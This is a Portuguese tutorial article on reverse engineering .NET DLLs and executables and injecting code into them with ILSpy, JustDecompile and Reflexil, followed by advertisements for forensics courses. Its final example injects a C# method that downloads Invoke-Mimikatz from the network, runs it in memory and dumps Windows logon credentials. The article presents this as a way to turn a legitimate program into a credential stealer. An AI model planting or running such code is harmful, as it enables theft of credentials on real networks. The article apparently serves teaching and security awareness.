Engenharia Reversa e Injeção de Código

Manipulando DOT NET

RESUMO

O presente artigo tem como objetivo demonstrar os principais passos para realizar engenharia reversa e injeção de código para manipulação de um projeto DOT NET. A técnica de engenharia reversa pode ser aplicada em diversas áreas, não apenas em software, pois tem como objetivo apresentar àquele que está realizando o processo, o resultado final em sua construção. Aplicada em software, como a análise de malware, a engenharia reversa é o processo que envolve descompilar o código binário em uma linguagem de montagem ou até mesmo a linguagem na qual o programa foi escrito. Este artigo tratará exclusivamente de engenharia reversa e adulteração de código desenvolvido na plataforma .NET. Como outras linguagens mundialmente conhecidas, o .NET é baseado e plataforma de máquina virtual, ou seja, embora seja compilado o código é interpretado com base em um framework onde é possível utilizar diversas linguagens de programação como VB .NET, C # .NET, F # .NET e assim por diante.

 

 

1 INTRODUÇÃO

A técnica de engenharia reversa pode ser aplicada em diversas áreas, não apenas em software, pois seu objetivo é apresentar àquele que está realizando o processo, o resultado final em sua forma de construção.

Aplicada em software, como a análise de malware, a engenharia reversa é o processo que envolve descompilar o código binário em uma linguagem de montagem ou até mesmo a linguagem na qual o programa foi escrito.

Também é possível definir engenharia reversa como uma teoria multidisciplinar, além de possuir diversas técnicas e metodologias, seu uso pode produzir documentação consistente além do código fonte. Durante o processo de engenharia reversa não há alteração do código fonte e o sistema segue todo o processo durante todo o processo, ou seja, suas funções permanecem intactas.

Adulteração de dados é o ato de modificar (destruir, manipular ou editar). Com dados em repouso, como em uma DLL, um aplicativo do sistema pode sofrer uma violação de segurança e um intruso não autorizado pode implantar código mal-intencionado que corrompa os dados ou modifique o código de programação. Algumas técnicas, como a injeção de código, são usadas para executar esse procedimento.

A técnica de Injeção de Código ou Code Injection, como o nome sugere, é adicionar um trecho de código em um determinado programa. Com noções básicas sobre manipulação de código IL, podemos fazer muitas alterações no código-fonte de uma DLL desenvolvida em DOT NET. Com a manipulação de código, é possível interagir com o sistema e até mesmo alterá-lo completamente, mesmo se não tivermos o código-fonte, o que também não é um problema ao usar o JustDecompile, o ILSpy ou o dotPeek, por exemplo.

2 REFERENCIAL TEÓRICO

2.1 Code Injection e Remote Code Execution (RCE)

Esta técnica é frequentemente utilizada por crackers para manipular algum programa, a fim de obter alguma vantagem, fazendo com que o programa aja de acordo com a vontade do atacante. Injeção de Código ou Execução Remota de Código (RCE) refere-se a um ataque no qual um invasor pode executar um código malicioso, geralmente feito pela manipulação de algum URL, afim de enganar as validações do sistema.

No Code Injection, o invasor depende das limitações da linguagem que executa o código, e a injeção de código geralmente ocorre quando um aplicativo avalia o código sem primeiro validá-lo. O mesmo tipo de técnica pode ser empregado diretamente, seja em um arquivo executável ou em uma DLL.

 

2.2 ILSpy – Manipulação de Código com Reflexil

A manipulação do código fonte pode ser feita com diversas ferramentas, algumas pagas e outras gratuitas, como o ILSpy, uma ferramenta open source disponível em https://github.com/icsharpcode/ILSpy. O ILSpy suporta o Reflexil e será usado para exemplificar o máximo de ações possíveis na DLL “CSharpModeloDDD.Domain.dll”.

A estrutura sugerida para teste é incluir a DLL “CSharpModeloDDD.Domain.dll” no projeto do console, em seguida, criar um projeto de console chamado FWConsole e incluir a DLL acima.

Um assembly “System.Management.Automation.dll” foi instalado via Nuget no projeto de console e projeto de “domínio”, ou seja, em FWConsole e CSharpModeloDDD.Domain, esse procedimento ajudará você a entender os riscos de manter referências desnecessárias. Esta montagem representa uma classe Powershell, usada para executar scripts e comandos. Baixe o código fonte de exemplo em https://github.com/petterlopes/CSharpModeloDDD.git.

Adicione métodos conforme sugerido nas imagens abaixo e compile o projeto.

 

A idéia principal é criar uma nova classe, criar novos métodos, modificar métodos existentes e, finalmente, gerar um novo executável e uma nova DLL. Resultado da importação do executável, na imagem pode ser vista a estrutura interpretada pelo ILSpy.

Uma das práticas mais comuns em adulterar DLL’s é feita por crackers, eles são criminosos que frequentemente alteram o programa para burlar as validações, como modificar a entrada de dados em jogos pagos para torná-los livres de cobranças ilegais.

Para simular este cenário, vamos mudar o método “ClienteEspecial” na DLL “CSharpModeloDDD.Domain.dll”, para que no método “especial” do “FWConsole.exe”, cliente “Homem de Ferro” cliente.Nome = “Iron Man “;” do método Main, é considerado um cliente especial. Para isso neste método, vamos adicionar um condicional (“if”) onde o nome será comparado desta forma: if (cliente.Nome == “Iron Man”) {return true} ;. Com essa mudança, o cliente “Iron Man” será sempre considerado especial. Navegue para o método como mostrado abaixo.

Quando o código fonte for exibido na aba direita, vá no Reflexil e clique com o botão direito do mouse na aba Instuctions e no menu escolha a opção “Replace all with code …”.

Uma janela será aberta com a compilação, onde o novo código será adicionado.

Exclua o conteúdo do método, adicione a nova validação e clique no botão Compilar..

Quando a edição do código estiver concluída, será necessário salvar a DLL ou o executável, desta forma o procedimento estará completo. Com a DLL salva, apenas faça o teste e veja se foi possível obter a mensagem “cliente especial”, então vá para o diretório de origem e execute o programa.

O próximo passo é criar uma nova classe, onde você terá um código de criptografia. A criptografia em questão é AES, para isso será utilizada a classe AES disponível no .NET. O uso da classe de criptografia é bastante simples, para isso é necessário adicionar “System.Security.Cryptography”.

Para economizar tempo, usaremos um exemplo da Microsoft, disponível na Classe AES. Exemplo da nossa classe AESCriptografia a ser adicionada no projeto FWConsole.

using System.IO;

using System.Security.Cryptography;

 

namespace FWConsole

{

public class AESCriptografia

{

public static byte[] EncryptStringToBytes_Aes(string plainText, byte[] Key,byte[] IV)

{

byte[] encrypted;

using (Aes aesAlg = Aes.Create())

{

aesAlg.Key = Key;

aesAlg.IV = IV;

 

ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

 

using (MemoryStream msEncrypt = new MemoryStream())

{

using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))

{

using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))

{

swEncrypt.Write(plainText);

}

encrypted = msEncrypt.ToArray();

}

}

}

return encrypted;

}

 

public static string DecryptStringFromBytes_Aes(byte[] cipherText, byte[] Key, byte[] IV)

{

string plaintext = null;

 

using (Aes aesAlg = Aes.Create())

{

aesAlg.Key = Key;

aesAlg.IV = IV;

 

ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

using (MemoryStream msDecrypt = new MemoryStream(cipherText))

{

using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))

{

using (StreamReader srDecrypt = new StreamReader(csDecrypt))

{

plaintext = srDecrypt.ReadToEnd();

}

}

}

 

}

return plaintext;

}

}

}

Configure a classe seguindo o exemplo. Em “Item name”, insira corretamente o nome da classe, sem esquecer o namespace. Depois de injetar a classe, repita o procedimento, no entanto, injetar o método EncryptStringToBytes_Aes.

Tendo injetado o método, será necessário configurá-lo, para isto, primeiro vá para o Reflexil e adicione os parâmetros em “Attributes”..

Em seguida, adicione os parâmetros de entrada do método, respeitando o tipo de cada um. Defina cuidadosamente cada parâmetro para o seu tipo correspondente.

Repita o procedimento para os três parâmetros de entrada.

Ao concluir esses procedimentos, iniciaremos o mesmo para o próximo método, DecryptStringFromBytes_Aes, ele deverá conter a seguinte estrutura: public static string DecryptStringFromBytes_Aes (byte [] cipherText, byte [] Key, byte [] IV).

No Reflexil em “Attributes”, modifique os parâmetros conforme a figura a seguir.

Ainda em “Attributes”, marque a opção “IsStatic” em ambos os métodos, DecryptStringFromBytes_Aes e em EncryptStringToBytes_Aes, como na figura.

Adicione os três parâmetros de entrada do método, seguindo o exemplo.

Com os métodos adicionados e configurados, atualize os objetos executáveis ​​no ILSpy.

Isso deve resultar em um código como este.

Com o resultado positivo, salve o arquivo e carregue-o novamente, então você pode começar a mudar os métodos.

Primeiro você precisará substituir as importações, como você pode ver na imagem abaixo.

Depois de adicionar o código nos dois métodos, salve o executável novamente e recarregue-o.

Até agora é possível perceber que o Reflexil funciona muito bem, todas as mudanças propostas foram bem executadas. Então, como o Reflexil funciona da mesma maneira em qualquer outra ferramenta, a partir deste momento, seguiremos nossos exemplos de uso do Reflexil na ferramenta JustDecompile.

Com a ajuda do JustDecompile, uma ferramenta gratuita da Telerik, continuaremos com o estudo da injeção de código com Reflexil. Até a data de publicação deste artigo, a Telerik forneceu o código-fonte para o JustDecompile Core, por isso é possível criar nossa própria interface gráfica.

A interface gráfica do JustDecompile não é de código aberto, mas ainda é gratuita. Com o código fonte da aplicação e estudando a API, é possível estender a funcionalidade da aplicação.

Aproveitando o fato de que você já importou o “System.Management.Automation.dll” no exemplo anterior, o objetivo agora é adicionar recursos do PowerShell e mostrar como podemos obter credenciais de usuários autenticados no Windows.

Neste ponto, estaremos entendendo como um programa mal-intencionado pode tirar vantagem de uma rede corporativa apenas fazendo algumas alterações em um programa legítimo.

No projeto “FWConsole“, vamos adicionar, apenas como exemplo, um método que visa coletar processos em execução no Windows.

public static void executaPowershellLocal()

{

Runspace runspace = RunspaceFactory.CreateRunspace();

runspace.Open();

using (PowerShell ps = PowerShell.Create())

{

ps.Runspace = runspace;

ps.AddScript(“Get-Process”);

var results = ps.Invoke();

 

foreach (var result in results)

{

var processo = (System.Diagnostics.Process)result.BaseObject;

Console.WriteLine(string.Format(“pid: {0, 10} \t {1} “, processo.Id, processo.ProcessName));

}

}

 

runspace.Close();

}

 

Para este procedimento basta seguir a sequência já apresentada nos exemplos anteriores, primeiro injetamos o método “exectaPowershellLocal”, configuramos seus atributos, em “Instructions” substituímos o código e adicionamos o código do método acima.

No início da classe, você precisa adicionar duas referências, a “System.Management.Automation” e a “System.Management.Automation.Runspaces“, se ainda não existirem.

Embora já tenhamos adicionado a DLL nas referências no projeto, se olharmos no JustDecompile, não há referência à DLL, porque ao compilar o projeto, ele só carrega o que é necessário de acordo com o código.

Para resolver o problema basta adicionar a DLL via Reflexil, através do “Inject assembly reference“.

Ao fazer a injeção na DLL e clicar Ok, ainda é necessário fazer alguns ajustes, pois não é reconhecido devido à falta de algumas informações como versão e PublicKeyToken, como pode ser visto na figura abaixo.

Para resolver o problema, precisamos adicionar a DLL manualmente. Para esta DLL é necessário informar os parâmetros como abaixo.

 

Quando os dados DLL são preenchidos de acordo com a versão correta, basta ir no projeto e no Reflexil escolher a opção “Update JustDecompile object model“, isso fará com que o executável seja atualizado junto com as referências.

Se o resultado for o mesmo da última figura, basta voltar ao Reflexil e salvar o projeto com as alterações apropriadas. Então você precisa adicionar a referência “System.Core“, com os parâmetros como na figura a seguir e salve o projeto novamente.

 

O próximo passo é adicionar a referência no uso. Injetar o método “executePowershellLocal” e marcar como “IsStatic“, então clique em “Update JustDecompile object model” e em “Instructions” escolha a opção “Replace all with code“, quando abrir a janela para editar o método, adicione o código inserido anteriormente.

Ao executar as etapas, faça o teste, você poderá encontrar alguns erros, tente resolvê-los com o que aprendeu até agora. Para continuar com novos exemplos, ainda com JustDecompile, vamos criar uma nova DLL chamada “Inject”, adicione a DLL “System.Management.Automation” via Nuget.

Crie dois métodos com o seguinte código.

public static void executaPowershellLocal()

{

Runspace runspace = RunspaceFactory.CreateRunspace();

runspace.Open();

using (PowerShell ps = PowerShell.Create())

{

ps.Runspace = runspace;

ps.AddScript(“Get-Process”);

var results = ps.Invoke();

 

foreach (var result in results)

{

var processo = (Process)result.BaseObject;

Console.WriteLine(string.Format(“pid: {0, 10} \t {1} “, processo.Id, processo.ProcessName));

}

}

 

runspace.Close();

}

public static void obtemLogonPasswords()

{

Runspace runspace = RunspaceFactory.CreateRunspace();

runspace.Open();

using (PowerShell powerShell = PowerShell.Create())

{

powerShell.Runspace = runspace;

string script = new WebClient().DownloadString(“https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”);

powerShell.AddScript(script).AddScript(“Invoke-Mimikatz -Command ‘privilege::debug sekurlsa::logonpasswords'”);

foreach (PSObject psobject in powerShell.Invoke())

{

Console.WriteLine(psobject.BaseObject);

}

}

runspace.Close();

}

No projeto FWConsole, via Reflexil injete o a DLL “Inject” criada anteriormente, adicione a referência no “using” line 5 e após adicione o código.

O método “executePowershellLocal, gera como saída, todos os processos executando no computador local. Para tornar a injeção de código mais interessante, vamos chamar o método “obtemLogonPasswords“, este método será responsável por capturar as credenciais do Windows, para isso, será usado um script desenvolvido em Powershell da ferramenta para Pentest’s, Empire Powershell, chamado Invoke-Mimikatz.

Mimikatz é uma ferramenta pós-scan escrita por Benjamin Delpy (@gentilkiwi). Ele permite que você extraia credenciais em texto puro, sem formatação da memória, local SAM/NTDS.dit, database password hashes, advanced Kerberos functionality, e muito mais.

O Código fonte do Mimikatz pode ser obtido em https://github.com/gentilkiwi/mimikatz/, e há também um wiki disponível em https://github.com/gentilkiwi/mimikatz/wiki. O Empire usa uma versão adaptada do Powervoice’s Invoke-Mimikatz, função escrita por Jospeh Bialek para rodar o Mimikatz em PowerShell direto para a memória, ou seja, nada será gravado no disco.

Essas ferramentas são muito usadas em testes de invasão, no entanto, não é minha intenção esgotar esse assunto neste artigo. Para ver se tudo está funcionando, altere o código do método principal, como na figura.

Talvez você não consiga ver as credenciais enquanto executa o programa, portanto, você deve executá-lo com privilégios de administrador e estar em uma rede com o Active Directory. Tenha muito cuidado com este teste porque ele exibirá informações confidenciais, executará em um ambiente controlado e não na empresa onde você trabalha, tem responsabilidade e ética.

IMPORTANTE: O autor não é responsável por danos causados ​​por má fé na aplicação dos conhecimentos adquiridos neste trabalho, você é inteiramente responsável por suas próprias ações.

3 CONSIDERAÇÕES FINAIS

Seguindo os conceitos de engenharia reversa de software, uma das maneiras de entender e reconstruir um programa ou sistema é obter seu código-fonte. No entanto, é incomum que a empresa que implantou o software disponibilize o código-fonte, especialmente quando o software é o gerador de lucros da empresa.

Embora, até a data de publicação deste artigo, haja uma grande variedade de sistemas de código aberto, nem sempre foi assim, mas temos alguns casos bem conhecidos, como o sistema operacional Linux. No entanto, o caso é que, para a maioria, ainda é necessário manter sigilo e pelo menos uma boa parte do código-fonte do seu produto armazenado a sete chaves.

Técnicas como ofuscação de código-fonte geralmente ajudam a melhorar a segurança do código. No entanto, é muito importante definir e seguir boas práticas de segurança no desenvolvimento de software, abordando fortemente o uso de SSDLC ou Secure Software Development Life Cycle.

 

Petter Anderson Lopes

Petter Anderson Lopes

Perito Judicial em Forense Digital, Criminal Profiling & Behavioral Analysis

Especialista em Criminal Profiling, Geographic Profiling, Investigative Analysis, Indirect Personality Profiling

CEO da PERITUM – Consultoria e Treinamento LTDA.

Perito em Forense Digital, Investigação de Fraudes | Perfilação Criminal e Análise Comportamental | OSINT, HUMINT | Autor e Professor | SI, Arquitetura Segura e Software Developer

Certified Criminal Profiling pela Heritage University(EUA) e Behavior & Law(Espanha), coordenado por Mark Safarik ex diretor da Unidade de Análise Comportamental do FBI, endossado pela CPBA (Criminal Profiling & Behavioral Analysis International Group).

Certificado em Forensic Psychology (Psicologia Forense, Entrevista Cognitiva) pela The Open University.

Certificado pela ACE AccessData Certified Examiner e Rochester Institute of Technology em Computer Forensics.

CBO 2041-10  "Elaboram laudo pericial, organizando provas e determinando as causas dos fatos. Realizam diligências, examinando locais, buscando evidências, selecionando e coletando indícios materiais e encaminhando peças para exames com ou sem quesitos. Analisam provas, peças, materiais, documentos e outros vestígios relacionados aos fatos. Efetuam cálculos, medições, assim como, solicitam e/ou realizam ensaios laboratoriais, utilizando e desenvolvendo técnicas e métodos científicos"

FEATURED

Cursos populares

Curso Perito Forense Digital

Atualizações constantes

Seja um Perito Forense Digital

 A estrutura essencial para você poder entrar no mercado da perícia digital.

Neste curso de 20h, você encontrará aulas de conhecimento obrigatório para quem deseja se aventurar na Forense Digital. Compreendendo OSINT, Forense em Memória, Forense em e-mails, introdução à Investigação, Inteligência Cibernética e muito mais.

Operadores da lei que desejam entender os procedimentos iniciais de uma atuação na perícia digital e alguns exemplos de análise/exame de material digital coletado. Compreender os princípios básicos da Forense Digital. Os conceitos irão fazer a diferença na sua carreira profissional.

OSINT - Investigação Cibernética em Fontes Abertas

Certificado em Investigação Cibernética em Fontes Abertas

(OSINT, HUMINT, SIGINT)

Este curso irá te apresentar conceitos, técnicas e ferramentas para conduzir uma Investigação Cibernética em Fontes Abertas. Aqui será possível entender como fazer a investigação e manter-se no anonimato, investigar incidentes cibernéticos para apoio a equipes de resposta a incidentes. São abordados também assuntos como Criminal Profiling e o Ciclo de Inteligência do FBI, ampliando a visão no processo de investigação.

.

Curso Perfilação Indireta da Personalidade

Certificado

Curso - Introdução à Perfilação Indireta da Personalidade

A aplicação da Perfilação Indireta da Personalidade permite uma avaliação da personalidade do sujeito sem que ele saiba que está sendo avaliado, por meio de seus comportamentos e relações interpessoais. É uma técnica para coletar informações sobre a personalidade tanto da vítima quanto do agressor e a relevância da personalidade cruzada entre ambos.
Qual a contribuição para Análise de Credibilidade e Investigação de Fraudes? Qual a sua importância para  a Entrevista (forense, recrutamento e seleção, em casos de negociação com reféns, negociação empresarial, interrogatório, etc...)? É útil conhecer a personalidade de alguém para planejar uma intervenção policial com ele? A personalidade pode nos ajudar a entender por que um determinado crime ocorreu? É útil com um entrincheirado? com uma testemunha? com fonte humana? Para preparar um disfarce para um agente disfarçado? Para esclarecer um crime simulado?
Importante também no procedimento de autópsia psicológica.
Conteúdo:
1.Criminal Profiling;
2.Perfil Criminal;
3.Negociação (Com reféns, comercial, etc…);
4.Persuasão;
5.Entrevista (vítimas, suspeitos, testemunhas, …);
6.Levantamento de informações de fontes humanas (HUMINT);
7.Atendimento ao público (clínicas, hospitais, etc…)

.

Engenharia Reversa na Forense Digital - Udemy

Em nova plataforma

Atualizações constantes

Certificado em Engenharia Reversa e Análise de Malwares na Forense Digital

Aqui você compreenderá a utilização da Engenharia Reversa aplicada em Forense Digital, bem como a Análise de Malware.

O curso aborda diversos conceitos de forma prática. O estudo é baseado, em sua maioria, no .NET e .NET Core, pois é uma tecnologia que está sempre em evolução, sendo adicionada inclusive em Linux e MAC, ou seja, com o .NET Core, agora é multiplataforma.

Introdução ao Criminal Profiling

Análise de casos reais

Curso - Introdução ao Criminal Profiling

O Criminal Profiling é o processo de observação e reflexão com base na análise das evidências coletadas na cena do crime . A técnica de criação de perfil visa identificar e interpretar o comportamento ou as ações do crime com o objetivo de prever a personalidade do infrator, seu modus operandi e, possivelmente, as motivações para o crime. O objetivo da definição de perfil é, no entanto, não apenas obter uma possível identificação de características importantes do ofensor, mas também evitar a repetição de crimes semelhantes no futuro.

Aqui você conhecerá:

O que é Criminal Profiling?
A História do Criminal Profiling
A Psicologia Investigativa
Método BEA
Vitimologia
Transtornos de personalidade
Mass Murder, Spree Killer, Serial Killer
Predador Sexual em Série, Mitos
Abordagem Geográfica, Clínica, Top Down, Bottom Up
Modus Operandi e Assinatura
Coleta e Processamento de informações
Avaliação do crime
Hipóteses de perfil
Uso investigativo